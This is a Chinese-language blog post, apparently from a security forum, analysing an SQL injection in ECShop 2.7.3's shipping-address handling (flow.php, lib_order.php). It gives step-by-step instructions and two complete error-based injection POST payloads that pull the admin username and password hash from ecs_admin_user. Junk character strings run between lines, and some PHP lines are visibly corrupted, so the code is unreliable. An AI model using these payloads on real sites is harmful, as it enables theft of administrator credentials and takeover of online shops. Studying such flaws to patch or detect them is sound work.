ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
$ d+ E  d4 b7 W4 F. s" Z+ O3 [# {. M
7 S. P3 C% E6 i. v2 A/ T. T    漏洞关键文件：

    /includes/lib_order.php
3 T( I4 a: q% V- a0 w
  `" l4 @) t8 F# t8 n    关键函数：
6 k3 F. J" d& ?1 N# \* C( g
3 t) C& S7 z8 o; {

4 Z: W) B8 ]$ i- j7 n9 o01     function available_shipping_list($region_id_list)

! q" s1 f: U. |' a7 W: }02 {
/ I3 R. S- ~4 c0 b5 m2 s" e
# E5 \# N, N3 v* W* Q7 M- ?03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" y' \  a9 e: |5 c$ }
8 S1 i# _/ A5 ?0 X: K# I" P04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
" {/ u  Y8 a- P0 a
% {% d( l, r2 X5 x- M05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
  p. C7 r  x8 c9 ~! K% g! u
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

" |7 u! M: {+ Z8 c# N3 F5 J08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ Y+ ~' d$ E/ Z' S/ m
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
- `7 S. d- x  O# Q% m  O* O1 r
7 R6 B6 r. @5 |10   

11     return $GLOBALS['db']->getAll($sql);
4 v: v" g* k  G5 J3 O
12 }
- ^% b, Q- B) B  h% ]  R
3 P/ n2 [1 L% h% ^8 q" ~* `显然对传入的参数没有任何过滤就带入了查询语句。
" y& u4 L8 S, C9 p* q4 m
下面我们追踪这个函数在flow.php中：
5 F" u- X# d/ ? 第531行：   
4 L- Y. y% f( h- ?( m9 ?7 c
% |- K6 t0 c6 J% x7 K1 $shipping_list     = available_shipping_list($region);
. I* x6 f( w) _+ j  l3 J! ]  ?- v
; \; ^: S$ x5 s8 }

  A8 e1 n* o  r! D7 |

9 M( |7 G6 z4 L0 [7 A# M* ?再对传入变量进行追踪：
) u! H! n" R, ?" T
第530行：   
+ W0 w2 Y# v- A, U% T4 c8 t
+ R( f7 j/ U' |; e1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


) ?. U' S- r9 J9 j/ ]1 r, ~

5 s- N$ K1 o$ p0 {! V
" s7 i9 s5 \, Q第473行：        
) @. R  Y5 U1 ^+ O9 a/ s/ d
! g4 I  V# d2 x2 `1 $consignee = get_consignee($_SESSION['user_id']);

* o( U3 b( }% x' z) w到了一个关键函数：

* s. b6 |5 [% h, T( m1 }9 k, |: v/includes/lib_order.php
$ r* A' `9 M+ S
% ]+ }0 V$ k$ I; F7 E/ K


7 f0 X7 r+ ]' y
01 function get_consignee($user_id)
8 t1 `, _1 L( \/ h3 a. i
02 {

03     if (isset($_SESSION['flow_consignee']))
; K* P. t7 a& x8 A  l
04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
3 q, `& k% Z  G+ Y2 f: `
  G# @% l5 @* f' S; y06   
( Y* l' l: `. W) y- p& f$ w# E
07         return $_SESSION['flow_consignee'];

08     }

$ z# _2 }; W5 Q8 i+ m$ j09     else
, N& u$ O7 e5 N- y
6 e7 I; \9 g* m# j10     {
  N: u- D7 ?# z, u( e, c3 Q1 Q
11         /* 如果不存在，则取得用户的默认收货人信息 */
8 N& a2 J0 ^0 N6 ?; p6 c
1 O/ |* H+ ?/ A* J4 d/ |12         $arr = array();

5 ?& y2 o. c  h13   

14         if ($user_id > 0)

15         {

16             /* 取默认地址 */
; G( A5 L, `% i2 S; Y
17             $sql = "SELECT ua.*".

( A; g$ w) m. j8 e2 q$ ~& I. Z( M18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

4 G+ D1 ~) i8 h5 ~20   
$ V5 G; j2 b& k; O
6 e6 y4 [  S/ O, c21             $arr = $GLOBALS['db']->getRow($sql);

22         }

- {1 j* y. t$ f+ w5 E" I23   

24         return $arr;

25     }
9 t  u& u/ |$ X6 E8 N
26 }
' x" h) ~2 C& I/ N# H) E/ O8 |2 S
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
. i! {- e! K; l2 {
8 G% P; q. A* A- T

$ ]: |# c7 v. `& s关键点:
$ Q& O# ^. t  {) |8 x% W  H
1 |$ \) f5 m. [( @第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

. B" J( [/ X0 |5 k3 \$ k这里对传入参数反转义存入$_SESSION中。


% O7 }( c; c) G1 l0 O5 r
然后看下：


' \! u4 _# s4 C, C7 }- f
   
$ C; O8 B" P0 A0 Z
& i) o! v6 v' m0 {. o& @( W  Y01 $consignee = array(
7 }8 Q$ Z) A/ q, U# f
5 p  B0 N8 d7 Q* m. T02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
" N# k6 D. n: |2 O+ ]* g
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
& |1 W3 y0 r5 [7 a1 {& R) Z& G( x
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

  u( Q: z+ s4 m9 q) ?, T: ?# T; p; ^05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

/ a% u: T- t& r( ~06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
; G* o6 x* O% Z- W# j
; K4 q) s: d8 R; a07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
( f' k# ~7 v0 U; Y
& |. v+ F0 ^/ M) u- S08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
. W, s) O. `1 G. O* r6 ?; {) s: r8 V' @: ^
" B" V# k' I2 Z  ^2 b( A- q! C! n12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
0 a" w; s  q4 u: x% F
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 d0 f: n8 W' i! Z
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
# `0 `/ F% L3 V. ?6 }4 u
5 m2 s$ ?1 o+ N# P/ x15     );
: @$ @# x- D) |- E4 c5 E
好了注入就这样出现了。

==================

1 H$ R" D2 c- d8 D注入测试：

. m2 T) e; O" Y% _环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ l  J6 h0 h& J/ d; O: r' L0 F
测试程序：ECShop_V2.7.3_UTF8_release1106
- n% V2 q3 p5 V( n+ Q% I; |1 w
- X. U7 S  Z( ~! R5 z3 e  b
, H4 J- B$ v1 U1 H: j+ A! N5 }( X
1.首先需要点击一个商品加入购物车

$ L- h8 ?. E$ D% p, w" N# a2.注册一个会员帐号
* N/ ~" A* R+ R
0 v( h& s8 C3 u& Y3.post提交数据
5 }1 u+ h0 h" |' v: i
- n8 E: l* V# L. r* U! c& V$ ^

' T' J8 y+ {  S/ V( m) l6 T1 http://127.0.0.1/ecshop/flow.php
. W* \$ a3 n# t# P9 s- e5 x
4 O$ f0 h9 Q% w4 m( S" }% Y. t- B% e2   
, I( I, f7 n( O: c* G- m
% c5 `7 S/ V. n4 `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

2 v7 o, N; x% p  h  P# d  C我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
" X2 \" I$ {3 I. t. c/ ]
利用exp:

1.点击一个商品，点击购买商标
0 p% m5 Z0 n3 u8 G9 x. M0 Z
2.登录会员帐号

! g7 |  e0 ?( P8 \# V& q( i5 k! ]3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
7 p" B" b! u+ y  Z+ W' R0 n6 Y" c+ w


country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. S" A4 S7 o# F1 g6 f% ?
* O3 ?: C. ]! a! ^